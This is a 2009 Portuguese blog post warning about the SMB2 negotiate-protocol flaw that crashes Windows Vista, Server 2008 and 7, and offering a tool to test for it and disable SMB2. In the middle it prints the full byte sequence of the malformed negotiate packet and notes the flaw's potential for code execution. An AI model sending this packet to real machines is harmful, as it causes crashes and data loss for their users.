bsodTest: Protegendo-se da vulnerabilidade no Windows Vista/Server 2008 e 7.
.
Share |


             
FaceBook
Postado pôr: Alessandro de Oliveira Faria
http://tecnociencia.inf.br/tecnico/cabelo
Tuesday, 13 October 2009

Elaborei um pequeno e  modesto programa  para desabilitar o protocolo SMB2 ( assim forçando  o uso do SMB1 e  protegendo os usuários da vulnerabilidade do mesmo).   Qualquer técnico para fazer isto manualmente mas usuários convencionais podem cometer erros  graves  ao efetuar esta tarefa manualmente diretamente  no editor de  registro do windows

 

bsodJogando conversar fora e tomando uma cerveja com o Carlão (Carlos Barcellos), ele mencionou sobre uma falha de  negociação no protocolo SMB2 do Windows. Na hora não dei muita atenção, pois pensei que tal  vulnerabilidade não atingiria as maquinas com o sistema operacional atualizado. Para a  minha surpresas, todas as máquinas submetidas ao teste sofreram a famosa BSOD (blue screen of death)  seguido do desligamento imediato.

A vulnerabilidade ocorre no protocolo SMB2 (Server Message Block — versão 2) da Microsoft,  localizado na camada de rede, utilizado geralmente para o acesso aos recursos compartilhados e autenticação IPC (Comunicação Inter-Processo).

Este  protocolo é o padrão de compartilhamento de arquivos entre computadores rodando Windows, e especificamente a versão 2 (SMB2) pode ser derrubada por um código de prova de conceito. Por questões éticas não disponibilizarei  o código. A seguir a lista das versão comprometidas:

  • Windows 7 (32 e 64 bits);
  • Vista, Vista SP1, Vista SP2 (32 e 64 bits);
  • Windows 2008, e 2008 SP2 (32 e 64 bits, e Itanium-based).

“Esse método ataca via negociação de requisição de protocolo (negotiate protocol request) que é a primeira query enviada pelo SMB. A vulnerabilidade está presente apenas nas versões de Windows que incluem o Server Message Block 2.0 e tem o protocolo ativado. O sucesso no ataque não requer acesso local na máquina e resulta na Tela Azul da Morte (Blue Screen of Death).”

smb

A seguir, uma versão do pacote modificado:

 0x01, 0x00, 0x00, 0x90, // Cabecalho
0xff, 0x53, 0x4d, 0x42, // String SMB
0x72, 0x00, 0x00, 0x00, // Protocolo de negociacao
0x00, 0x18, 0x53, 0xc8, // Codigo operacao 0x18 & sub 0xc853
0x00, 0x26,             // Valor antigo esperado pelo protocolo "\x00\x00"
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe,
0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54,
0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31,
0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00,
0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57,
0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61,
0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c,
0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c,
0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e,
0x30, 0x30, 0x32, 0x00
OBS: Como mencionou o José Mateus Ucelli, quem conseguir controlar esse ponteiro na hora do estouro da pilha, pode apontar para execuçao de qualquer programa na memória…

OBS2: Sugiro aos usuários Windows (credo!) ficarem atentos com relação ao problema, e consequentemente  buscarem a  solução o mais breve possível junto ao fornecedor do sistema operacional. Pois códigos maliciosos surgirão de forma exponencial.
 

Proteção provisória  (até o lançamento da correção oficial)

Não gosto do Windows e ponto final. Mas gostos de muitas  pessoas que utilizam Windows (infelizmente)… Imaginem a minha irmã ( a neném ) por exemplo, trabalhando em seu desktop, e um engraçadinho enviar um pacote de negociação SMB2 adulterado para a  sua máquina (mencionado no post anterior) ! Como quase todo  usuário não tem o hábito de salvar periodicamente os seus trabalhso durante a elaboração, provalvelmente será perdido todo o  esfoço  com  a famosa tela azul da morte.
 
Veja o Vídeo CLICANDO AQUI!
 
 Sendo assim elaborei um pequeno e  modesto programa  para desabilitar o protocolo SMB2 ( assim forçando  o uso do SMB1 ).   Qualquer técnico  para  fazer isto manualmente mas  usuários convencionais podem cometer erros  graves  ao efetuar esta tarefa.

bsodTest, foi o  nome atribuído ao projeto,  disponibilizado no Source Forge.net! Primeiramente, baixe o  executável e o execute como administrador do sistema.

01

ATENÇÃO: FECHE TODOS OS  PROGRAMAS  !!! E logo  a seguir, faça o download e descompacte o  arquivo .zip e execute  o programa com o parâmetro -testbug. Para testar a vulnerabilidade no seu sistema  operacional.

02Se  o seu sistema não apresentar a tela azul, significa que você pode ignorar  o restante do texto. Caso contrário, execute novamente  o programa (após  o boot da tela azul) com  o parâmetro -fixbug e faça  o  teste novamente.

05

Pronto ! Agora o protocolo de  negociaçao SMB2 esta desabilitado. Esta é uma alternativa para não deixar a sua máquina vulnerável até a correção  ser  liberada pelo fabricante do sistema operacional.

Comentários
Somente usuários registrados podem comentar!

3.26 Copyright (C) 2008 Compojoom.com / Copyright (C) 2007 Alain Georgette / Copyright (C) 2006 Frantisek Hliva. All rights reserved."

 

Tecnociencia